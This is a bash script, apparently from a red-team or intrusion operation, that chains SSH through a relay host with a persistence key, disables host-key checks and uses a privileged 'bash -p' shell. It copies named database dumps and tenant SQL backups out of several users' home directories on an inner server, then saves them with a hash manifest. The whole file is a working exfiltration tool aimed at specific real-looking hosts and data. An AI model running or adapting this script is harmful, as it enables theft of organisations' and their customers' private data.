#!/bin/bash
# V9: exfil home dirs root files from B
set -u
OUTDIR=/root/ir-assessment/redteam/gitlab_npontutechnologies_com/exfil_hostB_home_root
mkdir -p "$OUTDIR"

echo "=== V9 HOME DIRS ROOT EXFIL ==="

# Files to exfil (from root-readable homes)
FILES="
/home/mylar/agibusiness_in_box.sql
/home/mylar/kedebahv2.sql
/home/mylar/eliberiadb.sql
/home/nosa/blackstar_db_live_20260518_225344.dump
/home/nosa/blackstar_db_live_plain.sql
/home/nosa/tenant_aguma_teaherbs_and_ventures_backup_2026_04_06.sql
/home/nosa/tenant_chocolate_mansa_gold.sql
/home/nosa/tenant_chocoluv.sql
/home/kobeng/agibusiness_box_old.sql
/home/kobeng/agibusiness_in_box.sql
/home/kobeng/cihrm_website.sql
/home/kobeng/kedebahv2_data.sql
/home/evans/kedebahv2.sql
/home/evans/tenant_topup_pharmacy_evans.sql
/home/evans/st-unit-fix-ashaiman.csv
/home/evans/reseed_undo_cc28_map.json
"

for f in $FILES; do
  fn=$(basename "$f")
  out="$OUTDIR/$fn"
  [ -s "$out" ] && { echo "[SKIP] $fn"; continue; }
  echo "[*] $fn..."
  ssh -i /root/.ssh/npontu_persist_20260817 -p 1425 -o BatchMode=yes -o ConnectTimeout=15 -o StrictHostKeyChecking=no pontian@65.109.51.221 \
    "ssh -i /home/pontian/.tmp_k/ek -p 2304 -o BatchMode=yes -o ConnectTimeout=15 -o StrictHostKeyChecking=no npontucontrl@138.201.221.144 \
    \"/usr/bin/bash -p -c 'cat $f 2>/dev/null'\"" \
    > "$out" 2>>"$OUTDIR/errors.log"
  [ -s "$out" ] && echo "[OK] $fn $(du -sh "$out" | cut -f1)" || { echo "[FAIL] $fn"; rm -f "$out"; }
done

echo ""
echo "=== DONE ==="
ls -la "$OUTDIR"
sha256sum "$OUTDIR"/* > "$OUTDIR/MANIFEST.sha256" 2>/dev/null
echo "manifest: $(wc -l < "$OUTDIR/MANIFEST.sha256") files"